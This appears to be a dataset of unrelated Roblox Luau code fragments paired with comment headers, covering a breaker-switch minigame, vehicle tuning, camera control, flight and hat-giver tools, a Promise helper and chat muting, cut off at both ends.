end;
if p3:GetAttribute("Enabled") ~= p4 then
p3.Sound:Play();
end;
p3:SetAttribute("Enabled", p4);
if p3:GetAttribute("Enabled") == true then
p3:FindFirstChild("PrismaticConstraint", true).TargetPosition = -0.2;
p3.Light.Material = Enum.Material.Neon;
p3.Light.Attachment.Spark:Emit(1);
p3.Sound.Pitch = 1.3;
else
p3:FindFirstChild("PrismaticConstraint", true).TargetPosition = 0.2;
p3.Light.Material = Enum.Material.Glass;
p3.Sound.Pitch = 1.2;
end;
p3.Sound:Play();
end;
local u16 = 1;
local function u17()
if u11 == false then
pcall(function()
u13:Disconnect();
u14:Disconnect();
end);
u11 = true;
l__MinigameBackout__4.Visible = false;
v16.XBoxUI.Enabled = false;
u1.hideplayers = 0;
v16:WaitForChild("DoorHinge").TargetAngle = 0;
local l__basecamcf__28 = u1.basecamcf;
local v29 = tick() + 0.5;
u1.camShaker:ShakeOnce(2, 0.5, 0.5, 8);
u1.char.PrimaryPart.Anchored = false;
local l__CFrame__18 = u1.cam.CFrame;
local l__FieldOfView__19 = u1.cam.FieldOfView;
task.spawn(function()
for v30 = 1, 100000 do
task.wait();
local v31 = l__TweenService__2:GetValue((0.5 - math.abs(tick() - v29)) / 0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
if not (tick() <= v29) then
warn("damn daniel. ar ar ar");
break;
end;
u1.cam.CFrame = l__CFrame__18:Lerp(u1.basecamcf, v31) * u1.csgo;
u1.cam.FieldOfView = l__FieldOfView__19 + (u1.fovspring - l__FieldOfView__19) * v31;
end;
u1.stopcam = false;
u1.freemouse = false;
l__ActivateEventPrompt__15.Enabled = true;
end);
coroutine.yield(u8);
end;
end;
u13 = l__UserInputService__3.InputBegan:Connect(function(p5)
if p5.UserInputType == Enum.UserInputType.MouseButton1 or p5.UserInputType == Enum.UserInputType.Touch then
local v32 = u1.cam:ScreenPointToRay(p5.Position.X, p5.Position.Y);
local v33, v34 = workspace:FindPartOnRay(Ray.new(v32.Origin, v32.Direction * 1000), u1.char);
print(v33);
if v33.Name == "BreakerSwitch" then
u15(v33);
u1.camShaker:ShakeOnce(0.5, 2, 0.06, 0.2);
return;
end;
elseif p5.KeyCode == Enum.KeyCode.DPadUp or p5.KeyCode == Enum.KeyCode.DPadDown or p5.KeyCode == Enum.KeyCode.DPadLeft or p5.KeyCode == Enum.KeyCode.DPadRight then
local v35 = math.floor(u16 / 2);
if p5.KeyCode == Enum.KeyCode.DPadLeft then
if u16 % 2 == 0 then
u16 = math.clamp(u16 - 1, 0, 10);
else
print("cant do jack L");
end;
end;
if p5.KeyCode == Enum.KeyCode.DPadRight then
if u16 % 2 ~= 0 then
u16 = math.clamp(u16 + 1, 0, 10);
else
print("cant do jack L");
end;
end;
if p5.KeyCode == Enum.KeyCode.DPadUp then
u16 = math.clamp(u16 - 2, 0, 10);
end;
if p5.KeyCode == Enum.KeyCode.DPadDown then
u16 = math.clamp(u16 + 2, 0, 10);
end;
v16.XBoxUI.Enabled = true;
for v36, v37 in pairs(v16.XBoxUI:GetChildren()) do
if v37:GetAttribute("ID") == u16 then
l__Selector__17.Parent = v37;
end;
end;
return;
elseif p5.KeyCode == Enum.KeyCode.ButtonA or p5.KeyCode == Enum.KeyCode.ButtonX then
for v38, v39 in pairs(v16:GetChildren()) do
if v39.Name == "BreakerSwitch" and v39:GetAttribute("ID") == u16 then
u15(v39);
end;
end;
return;
elseif p5.KeyCode == Enum.KeyCode.ButtonB then
u17();
end;
end);
local l__MinigameBackout__40 = l__Parent__5.MinigameBackout;
l__MinigameBackout__40.Visible = true;
l__TweenService__2:Create(l__MinigameBackout__40, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 3, true), {
ImageColor3 = Color3.fromRGB(107, 129, 179),
Size = UDim2.new(0.1, 60, 0.1, 60)
}):Play();
u14 = l__MinigameBackout__40.MouseButton1Down:Connect(u17);
spawn(function()
for v41, v42 in pairs(v16:GetChildren()) do
if v42.Name == "BreakerSwitch" and v42:IsA("BasePart") then
delay(v42:GetAttribute("ID") / 10, function()
l__TweenService__2:Create(v42, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 1, true), {
Color = Color3.fromRGB(107, 107, 148)
}):Play();
end);
end;
end;
end);
wait(3);
for v43 = 1, 3 do
for v44 = 1, 10 do
u12[v44] = { v44, math.random(1, 5) >= 3 };
end;
for v45 = 1, 100 do
u6(u12);
l__SurfaceGui__19.Frame.Code.Frame.Visible = true;
for v46, v47 in pairs(u12) do
l__SurfaceGui__19.Frame.Code.Text = string.format("%.2i", v47[1]);
if v47[2] == true then
l__SurfaceGui__19.Frame.Code.Frame.BackgroundTransparency = 0;
v16.Box.Beep.Pitch = 1.5;
else
l__SurfaceGui__19.Frame.Code.Frame.BackgroundTransparency = 1;
v16.Box.Beep.Pitch = 1;
end;
v16.Box.Beep:Play();
task.wait(0.66);
if u11 == true then
break;
end;
end;
if u11 == true then
break;
end;
wait(1.33);
if v45 >= 5 then
spawn(function()
for v48, v49 in pairs(v16:GetChildren()) do
if v49.Name == "BreakerSwitch" then
local v50 = v49:GetAttribute("ID");
v49.Hint.TextLabel.TextTransparency = 1;
v49.Hint.TextLabel.Text = v50;
v49.Hint.Enabled = true;
l__TweenService__2:Create(v49.Hint.TextLabel, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut, 0, v50 / 20), {
TextTransparency = 0
}):Play();
end;
end;
end);
end;
local v51 = v20();
l__SurfaceGui__19.Frame.Code.Text = "...";
l__SurfaceGui__19.Frame.Code.Frame.Visible = false;
l__SurfaceGui__19.Frame.Bar.Filled:TweenSize(UDim2.new(v51 / 10, 0, 1, 0), "InOut", "Linear", 3, true);
v16.Box.Progress:Play();
l__TweenService__2:Create(v16.Box.Progress, TweenInfo.new(3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {
PlaybackSpeed = 1.01 + v51 / 10
}):Play();
wait(3);
if u11 == true then
break;
end;
v16.Box.Progress:Stop();
if v51 == 10 then
if v43 == 3 then
l__MinigameBackout__40.Visible = false;
end;
pcall(function()
v16.Box.Correct:Play();
u1.camShaker:ShakeOnce(1, 1, 0.06, 0.5);
local v52 = l__SurfaceGui__19.Frame.Squares[tostring(v43)];
v52.BackgroundTransparency = 0;
v52.Size = UDim2.new(0, 9, 0, 9);
v52:TweenSize(UDim2.new(0, 5, 0, 5), "In", "Quart", 0.5, true);
l__SurfaceGui__19.Frame.Squares.Text = v43 .. "/3";
wait(1);
v16.Box.Progress.PlaybackSpeed = 1.01;
l__SurfaceGui__19.Frame.Bar.Filled:TweenSize(UDim2.new(0, 0, 1, 0), "InOut", "Quad", 0.5, true);
if v43 == 3 then
for v53, v54 in pairs(v16:GetChildren()) do
if v54.Name == "BreakerSwitch" then
delay(v54:GetAttribute("ID") / 20, function()
u15(v54, true);
end);
end;
end;
return;
end;
for v55, v56 in pairs(v16:GetChildren()) do
if v56.Name == "BreakerSwitch" then
delay(v56:GetAttribute("ID") / 20, function()
if v56:GetAttribute("Enabled") ~= false then
u15(v56, false);
end;
end);
end;
end;
wait(3);
end);
break;
end;
end;
if u11 == true then
break;
end;
end;
if u11 == true then
return;
end;
print("SENT SIGNAL");
u1.remotes:WaitForChild("EBF"):FireServer();
l__SurfaceGui__19.Frame.Code.Visible = false;
l__SurfaceGui__19.Frame.Squares.Visible = false;
l__SurfaceGui__19.Frame.Line.Visible = false;
l__SurfaceGui__19.Frame.Bar.Visible = false;
l__SurfaceGui__19.Frame.TextLabel.Visible = true;
wait(1);
u17();
end;
end);
coroutine.resume(u8);
end;
u1.remotes:WaitForChild("EngageMinigame").OnClientEvent:Connect(function(...)
u7(...);
end);
|
-- FUNCTIONS --
|
Tool.Equipped:Connect(function()
SkillsHandler:FireServer("Equip")
Char = Tool.Parent
HumRP = Char:WaitForChild("HumanoidRootPart")
Humanoid = Char:WaitForChild("Humanoid")
Animations = {
["Z"] = Humanoid:LoadAnimation(script.Animations.Z),
["X"] = Humanoid:LoadAnimation(script.Animations.X),
["C"] = Humanoid:LoadAnimation(script.Animations.C),
["V"] = Humanoid:LoadAnimation(script.Animations.V),
["R"] = Humanoid:LoadAnimation(script.Animations.R),
}
end)
Tool.Unequipped:Connect(function()
SkillsHandler:FireServer("Unequip")
end)
|
--[=[
Creates an immediately resolved Promise with the given value.
@param ... any
@return Promise<...any>
]=]
|
function Promise.resolve(...)
local length, values = pack(...)
return Promise._new(debug.traceback(nil, 2), function(resolve)
resolve(unpack(values, 1, length))
end)
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto","Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.4 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 5.5 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.5 ,
--[[ 3 ]] 1.95 ,
--[[ 4 ]] 1.40 ,
--[[ 5 ]] 0.80 ,
--[[ 6 ]] 0.55 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.
|
function DbgVisualizeHit(atCF: CFrame, wasPierce: boolean): SphereHandleAdornment?
if ClientSettings.Debug.Value == false then return nil end
local adornment = Instance.new("SphereHandleAdornment")
adornment.Adornee = workspace.Terrain
adornment.CFrame = atCF
adornment.Radius = 0.1
adornment.Transparency = 0.25
adornment.Color3 = (wasPierce == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2)
adornment.Parent = GetFastCastVisualizationContainer()
Debris:AddItem(adornment, 3)
return adornment
end
|
--[=[
@return any
Returns the current value for the given player. This value
will depend on if `SetFor` or `SetFilter` has affected the
custom value for the player. If so, that custom value will
be returned. Otherwise, the top-level value will be used
(e.g. value from `Set`).
```lua
-- Set top level data:
remoteProperty:Set("Data")
print(remoteProperty:GetFor(somePlayer)) --> "Data"
-- Set custom data:
remoteProperty:SetFor(somePlayer, "CustomData")
print(remoteProperty:GetFor(somePlayer)) --> "CustomData"
-- Set top level again, overriding custom data:
remoteProperty:Set("NewData")
print(remoteProperty:GetFor(somePlayer)) --> "NewData"
-- Set custom data again, and set top level without overriding:
remoteProperty:SetFor(somePlayer, "CustomData")
remoteProperty:SetTop("Data")
print(remoteProperty:GetFor(somePlayer)) --> "CustomData"
-- Clear custom data to use top level data:
remoteProperty:ClearFor(somePlayer)
print(remoteProperty:GetFor(somePlayer)) --> "Data"
```
]=]
|
function RemoteProperty:GetFor(player: Player): any
local playerValue = self._perPlayer[player]
local value = if playerValue == nil then self._value elseif playerValue == None then nil else playerValue
return value
end
|
-- Import relevant references
|
local Selection = Core.Selection
local Support = Core.Support
local Security = Core.Security
|
-- Enjoy your working pedals and shifting sound! -Mayonez_Mercenary
| |
-- CONSTANTS
|
local GuiLib = script.Parent.Parent
local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
local UIS = game:GetService("UserInputService")
local RUNSERVICE = game:GetService("RunService")
local DEADZONE2 = 0.15^2
local FLIP_THUMB = Vector3.new(1, -1, 1)
local VALID_PRESS = {
[Enum.UserInputType.MouseButton1] = true;
[Enum.UserInputType.Touch] = true;
}
local VALID_MOVEMENT = {
[Enum.UserInputType.MouseMovement] = true;
[Enum.UserInputType.Touch] = true;
}
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name
--// Be sure to update the console gui's code if you change stuff
|
return function(data)
if not data.Question then return end
local gTable = data.gTable
local baseClip = script.Parent.Parent.BaseClip
local duration = data.Duration or data.Timeout
local toReturn
local confirmationTemplate = baseClip.Frame
local confirmationClone = confirmationTemplate
confirmationClone.Parent = baseClip
confirmationClone.Position = UDim2.new(0.5,-210,0,-confirmationClone.Size.Y.Offset)
confirmationClone.Visible = true
local Body = confirmationClone:WaitForChild('Body')
local Options = Body:WaitForChild('Options')
local Confirm,Cancel = Options:WaitForChild('Confirm'),Options:WaitForChild('Cancel')
local commandText = Body:WaitForChild('Command')
local title = confirmationTemplate.Top.Title
commandText.Text = data.Subtitle or " "
Body.Ques.Text = data.Question or "Unknown"
title.Text = data.Title or "Yes/No Prompt"
Body.Options.Cancel.Text = data.No or "No"
Body.Options.Confirm.Text = data.Yes or "Yes"
gTable:Ready()
gTable.CustomDestroy = function()
gTable.CustomDestroy = nil
gTable.ClearEvents()
if toReturn == nil then toReturn = data.No or "No" end
pcall(function()
confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
confirmationClone:Destroy()
end
end)
wait(0.3)
end)
gTable:Destroy()
end
confirmationClone:TweenPosition(UDim2.new(0.5,-210,0.5,-70),"Out",'Quint',0.3,true)
local Confirming; Confirming = gTable.BindEvent(Confirm.MouseButton1Click, function()
Confirming:Disconnect()
confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
confirmationClone:Destroy()
end
end)
toReturn = data.Yes or "Yes"
wait(0.3)
gTable:Destroy()
end)
local Cancelling; Cancelling = gTable.BindEvent(Cancel.MouseButton1Click, function()
Cancelling:Disconnect()
confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
confirmationClone:Destroy()
end
end)
toReturn = data.No or "No"
wait(0.3)
gTable:Destroy()
end)
local start = tick()
repeat
wait()
until toReturn ~= nil or (duration and (tick()-duration) > duration)
if toReturn == nil then toReturn = false end
return toReturn
end
|
--[[
class Spring
Description:
A physical model of a spring, useful in many applications. Properties only evaluate
upon index making this model good for lazy applications
API:
Spring = Spring.new(number position)
Creates a new spring in 1D
Spring = Spring.new(Vector3 position)
Creates a new spring in 3D
Spring.Position
Returns the current position
Spring.Velocity
Returns the current velocity
Spring.Target
Returns the target
Spring.Damper
Returns the damper
Spring.Speed
Returns the speed
Spring.Target = number/Vector3
Sets the target
Spring.Position = number/Vector3
Sets the position
Spring.Velocity = number/Vector3
Sets the velocity
Spring.Damper = number [0, 1]
Sets the spring damper, defaults to 1
Spring.Speed = number [0, infinity)
Sets the spring speed, defaults to 1
Spring:TimeSkip(number DeltaTime)
Instantly skips the spring forwards by that amount of now
Spring:Impulse(number/Vector3 velocity)
Impulses the spring, increasing velocity by the amount given
]]
|
local Spring = {}
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
RunService = game:GetService("RunService")
Camera = game:GetService("Workspace").CurrentCamera
Animations = {}
LocalObjects = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
Rate = (1 / 60)
SpeedMultiplier = 0.5
CameraSpeed = {
X = 40,
Z = 60
}
Controls = {
Forward = {
Mode = false,
Keys = {Key = "w", ByteKey = 17}
},
Backward = {
Mode = false,
Keys = {Key = "s", ByteKey = 18}
},
Left = {
Mode = false,
Keys = {Key = "a", ByteKey = 20}
},
Right = {
Mode = false,
Keys = {Key = "d", ByteKey = 19}
},
}
ToolEquipped = false
function HandleFlightControl()
if not CheckIfAlive() then
return
end
if FightMonitor then
FightMonitor:disconnect()
end
FightMonitor = Torso.ChildAdded:connect(function(Child)
if Flying then
return
end
if Child.Name == "FlightHold" then
local FlightSpin = Torso:FindFirstChild("FlightSpin")
local FlightPower = Torso:FindFirstChild("FlightPower")
local FlightHold = Torso:FindFirstChild("FlightHold")
if not FlightSpin or not FlightPower or not FlightHold then
return
end
Flying = true
Humanoid.WalkSpeed = 0
Humanoid.PlatformStand = true
Humanoid.AutoRotate = false
DisableJump(true)
Torso.Velocity = Vector3.new(0, 0, 0)
Torso.RotVelocity = Vector3.new(0, 0, 0)
while Flying and FlightSpin.Parent and FlightPower.Parent and FlightHold.Parent and CheckIfAlive() do
local NewPush = Vector3.new(0, 0, 0)
local ForwardVector = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(0, 0, -1))
local SideVector = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(-1, 0, 0))
local CoordinateFrame = Camera.CoordinateFrame
local localControlVector = CFrame.new(Vector3.new(0,0,0),CoordinateFrame.lookVector*Vector3.new(1,0,1)):vectorToObjectSpace(Humanoid.MoveDirection)
NewPush = NewPush + ((ForwardVector * CameraSpeed.Z * -localControlVector.z*2) or NewPush)
NewPush = NewPush + ((SideVector * CameraSpeed.X * -localControlVector.x*2) or NewPush)
--NewPush = (NewPush + (((Controls.Forward.Mode and not Controls.Backward.Mode) and (ForwardVector * CameraSpeed.Z)) or ((not Controls.Forward.Mode and Controls.Backward.Mode) and (ForwardVector * CameraSpeed.Z * -1)) or NewPush))
--NewPush = (NewPush + (((Controls.Left.Mode and not Controls.Right.Mode) and (SideVector * CameraSpeed.X)) or ((not Controls.Left.Mode and Controls.Right.Mode) and (SideVector * CameraSpeed.X * -1)) or NewPush))
FlightSpin.cframe = CFrame.new(Vector3.new(0, 0, 0), ForwardVector)
if NewPush.magnitude < 1 then
FlightHold.maxForce = Vector3.new(FlightHold.P, FlightHold.P, FlightHold.P)
FlightPower.maxForce = Vector3.new(0, 0, 0)
FlightHold.position = Torso.Position
else
FlightHold.maxForce = Vector3.new(0, 0, 0)
FlightPower.maxForce = Vector3.new((FlightPower.P * 100), (FlightPower.P * 100), (FlightPower.P * 100))
end
FlightPower.velocity = NewPush
wait(Rate)
end
Flying = false
if CheckIfAlive() then
Torso.Velocity = Vector3.new(0, 0, 0)
Torso.RotVelocity = Vector3.new(0, 0, 0)
Humanoid.WalkSpeed = 16
Humanoid.PlatformStand = false
Humanoid.AutoRotate = true
DisableJump(false)
Humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
end
end
end)
end
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
end
end
function DisableJump(Boolean)
if PreventJump then
PreventJump:disconnect()
end
if Boolean then
PreventJump = Humanoid.Changed:connect(function(Property)
if Property == "Jump" then
Humanoid.Jump = false
end
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function KeyPress(Key, Down)
local Key = string.lower(Key)
local ByteKey = string.byte(Key)
for i, v in pairs(Controls) do
if Key == v.Keys.Key or ByteKey == v.Keys.ByteKey then
Controls[i].Mode = Down
end
end
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("HumanoidRootPart")
ToolEquipped = true
if not CheckIfAlive() then
return
end
Mouse.KeyDown:connect(function(Key)
KeyPress(Key, true)
end)
Mouse.KeyUp:connect(function(Key)
KeyPress(Key, false)
end)
Spawn(HandleFlightControl)
end
function Unequipped()
Flying = false
LocalObjects = {}
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
for i, v in pairs({PreventJump, FightMonitor}) do
if v then
v:disconnect()
end
end
for i, v in pairs(Controls) do
Controls[i].Mode = false
end
Animations = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
local ServerReturn
pcall(function()
ServerReturn = ServerControl:InvokeServer(mode, value)
end)
return ServerReturn
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare on soundscript, Truenus on script
]]
|
wait(0.4)
local car = script.Parent.Car.Value
local revon = car.DriveSeat.Rev
local revoff = car.DriveSeat.RevOFF
local throttle = script.Parent.Values.Throttle
throttle.Changed:connect(function()
if throttle.Value == 1 then
revon.Volume=0.50
revoff.Volume=0.75
wait(0.025)
revon.Volume=0.50
revoff.Volume=0.50
wait(0.025)
revon.Volume=0.75
revoff.Volume=0.25
wait(0.025)
revon.Volume=1
revoff.Volume=0
else
revon.Volume=0.75
revoff.Volume=0.25
wait(0.025)
revon.Volume=0.50
revoff.Volume=0.50
wait(0.025)
revon.Volume=0.25
revoff.Volume=0.75
wait(0.025)
revon.Volume=0
revoff.Volume=1
end
end)
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Belgium hat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(1, 1.2, 1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentForward = Vector3.new (-0, -0, -1)
h.AttachmentPos = Vector3.new(0, -0.2, 0.05)
h.AttachmentRight = Vector3.new (1, 0, 0)
h.AttachmentUp = Vector3.new (0, 1, 0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
------------------
--SPAWNING--
------------------
|
miked=script.Parent
itlh=miked.Torso:findFirstChild("Left Hip")
itlh.Part0=miked.Torso
itlh.Part1=miked:findFirstChild("Left Leg")
itlh.C0=CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
itrh=miked.Torso:findFirstChild("Right Hip")
itrh.Part0=miked.Torso
itrh.Part1=miked:findFirstChild("Right Leg")
itrh.C0=CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
itls=miked.Torso:findFirstChild("Left Shoulder")
itls.Part1=miked.Torso
itls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
itls.Part0=miked:findFirstChild("Left Arm")
itrs=miked.Torso:findFirstChild("Right Shoulder")
itrs.Part1=miked.Torso
itrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, -1, 0, 1, 0, 0)
itrs.Part0=miked:findFirstChild("Right Arm")
miked.Head:makeJoints()
wait(3)
miked:findFirstChild("Left Arm").Anchored = false
miked:findFirstChild("Right Arm").Anchored = false
|
-- New for AllCameraInLua support
|
local function shouldUseOcclusionModule()
local player = PlayersService.LocalPlayer
if player and game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CameraType == Enum.CameraType.Custom then
return true
end
return false
end
local function Update()
if EnabledCamera then
EnabledCamera:Update()
end
if EnabledOcclusion and not VRService.VREnabled then
EnabledOcclusion:Update(EnabledCamera)
end
if shouldUsePlayerScriptsCamera() then
TransparencyController:Update()
end
end
local function SetEnabledCamera(newCamera)
if EnabledCamera ~= newCamera then
if EnabledCamera then
EnabledCamera:SetEnabled(false)
end
EnabledCamera = newCamera
if EnabledCamera then
EnabledCamera:SetEnabled(true)
end
end
end
local function OnCameraMovementModeChange(newCameraMode)
if newCameraMode == Enum.DevComputerMovementMode.ClickToMove.Name then
if FFlagUserNoCameraClickToMove then
--No longer responding to ClickToMove here!
return
end
ClickToMove:Start()
SetEnabledCamera(nil)
TransparencyController:SetEnabled(true)
else
local currentCameraType = workspace.CurrentCamera and workspace.CurrentCamera.CameraType
if VRService.VREnabled and currentCameraType ~= Enum.CameraType.Scriptable then
SetEnabledCamera(VRCamera)
TransparencyController:SetEnabled(false)
elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Classic.Name then
SetEnabledCamera(ClassicCamera)
TransparencyController:SetEnabled(true)
elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Follow.Name then
SetEnabledCamera(FollowCamera)
TransparencyController:SetEnabled(true)
elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and (isOrbitalCameraEnabled and (newCameraMode == Enum.ComputerCameraMovementMode.Orbital.Name)) then
SetEnabledCamera(OrbitalCamera)
TransparencyController:SetEnabled(true)
elseif AllCamerasInLua and CameraTypeEnumMap[currentCameraType] then
SetEnabledCamera(CameraTypeEnumMap[currentCameraType])
TransparencyController:SetEnabled(false)
else -- Our camera movement code was disabled by the developer
SetEnabledCamera(nil)
TransparencyController:SetEnabled(false)
end
ClickToMove:Stop()
end
local useOcclusion = shouldUseOcclusionModule()
local newOcclusionMode = getCameraOcclusionMode()
if EnabledOcclusion == Invisicam and (newOcclusionMode ~= Enum.DevCameraOcclusionMode.Invisicam or (not useOcclusion)) then
Invisicam:Cleanup()
end
-- PopperCam does not work with OrbitalCamera, as OrbitalCamera's distance can be fixed.
if useOcclusion then
if newOcclusionMode == Enum.DevCameraOcclusionMode.Zoom and ( isOrbitalCameraEnabled and newCameraMode ~= Enum.ComputerCameraMovementMode.Orbital.Name ) then
EnabledOcclusion = PopperCam
elseif newOcclusionMode == Enum.DevCameraOcclusionMode.Invisicam then
EnabledOcclusion = Invisicam
else
EnabledOcclusion = nil
end
else
EnabledOcclusion = nil
end
end
local function OnCameraTypeChanged(newCameraType)
if newCameraType == Enum.CameraType.Scriptable then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
local function OnCameraSubjectChanged(newSubject)
TransparencyController:SetSubject(newSubject)
end
local function OnNewCamera()
OnCameraMovementModeChange(getCurrentCameraMode())
local currentCamera = workspace.CurrentCamera
if currentCamera then
if cameraSubjectChangedConn then
cameraSubjectChangedConn:disconnect()
end
if cameraTypeChangedConn then
cameraTypeChangedConn:disconnect()
end
cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):connect(function()
OnCameraSubjectChanged(currentCamera.CameraSubject)
end)
cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):connect(function()
OnCameraMovementModeChange(getCurrentCameraMode())
OnCameraTypeChanged(currentCamera.CameraType)
end)
OnCameraSubjectChanged(currentCamera.CameraSubject)
OnCameraTypeChanged(currentCamera.CameraType)
end
end
local function OnPlayerAdded(player)
workspace.Changed:connect(function(prop)
if prop == 'CurrentCamera' then
OnNewCamera()
end
end)
player.Changed:connect(function(prop)
OnCameraMovementModeChange(getCurrentCameraMode())
end)
GameSettings.Changed:connect(function(prop)
OnCameraMovementModeChange(getCurrentCameraMode())
end)
RunService:BindToRenderStep("cameraRenderUpdate", Enum.RenderPriority.Camera.Value, Update)
OnNewCamera()
OnCameraMovementModeChange(getCurrentCameraMode())
end
do
while PlayersService.LocalPlayer == nil do PlayersService.PlayerAdded:wait() end
hasLastInput = pcall(function()
lastInputType = UserInputService:GetLastInputType()
UserInputService.LastInputTypeChanged:connect(function(newLastInputType)
lastInputType = newLastInputType
end)
end)
OnPlayerAdded(PlayersService.LocalPlayer)
end
local function OnVREnabled()
OnCameraMovementModeChange(getCurrentCameraMode())
end
VRService:GetPropertyChangedSignal("VREnabled"):connect(OnVREnabled)
|
-- This is pcalled because the SetCore methods may not be released yet.
|
pcall(function()
PlayerBlockedEvent = StarterGui:GetCore("PlayerBlockedEvent")
PlayerMutedEvent = StarterGui:GetCore("PlayerMutedEvent")
PlayerUnBlockedEvent = StarterGui:GetCore("PlayerUnblockedEvent")
PlayerUnMutedEvent = StarterGui:GetCore("PlayerUnmutedEvent")
end)
function SendSystemMessageToSelf(message)
local currentChannel = ChatWindow:GetCurrentChannel()
if currentChannel then
local messageData =
{
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = currentChannel.Name,
IsFiltered = true,
MessageLength = string.len(message),
Message = trimTrailingSpaces(message),
MessageType = ChatConstants.MessageTypeSystem,
Time = os.time(),
ExtraData = nil,
}
currentChannel:AddMessageToChannel(messageData)
end
end
function MutePlayer(player)
local mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("MutePlayerRequest")
if mutePlayerRequest then
return mutePlayerRequest:InvokeServer(player.Name)
end
return false
end
if PlayerBlockedEvent then
PlayerBlockedEvent.Event:connect(function(player)
if MutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
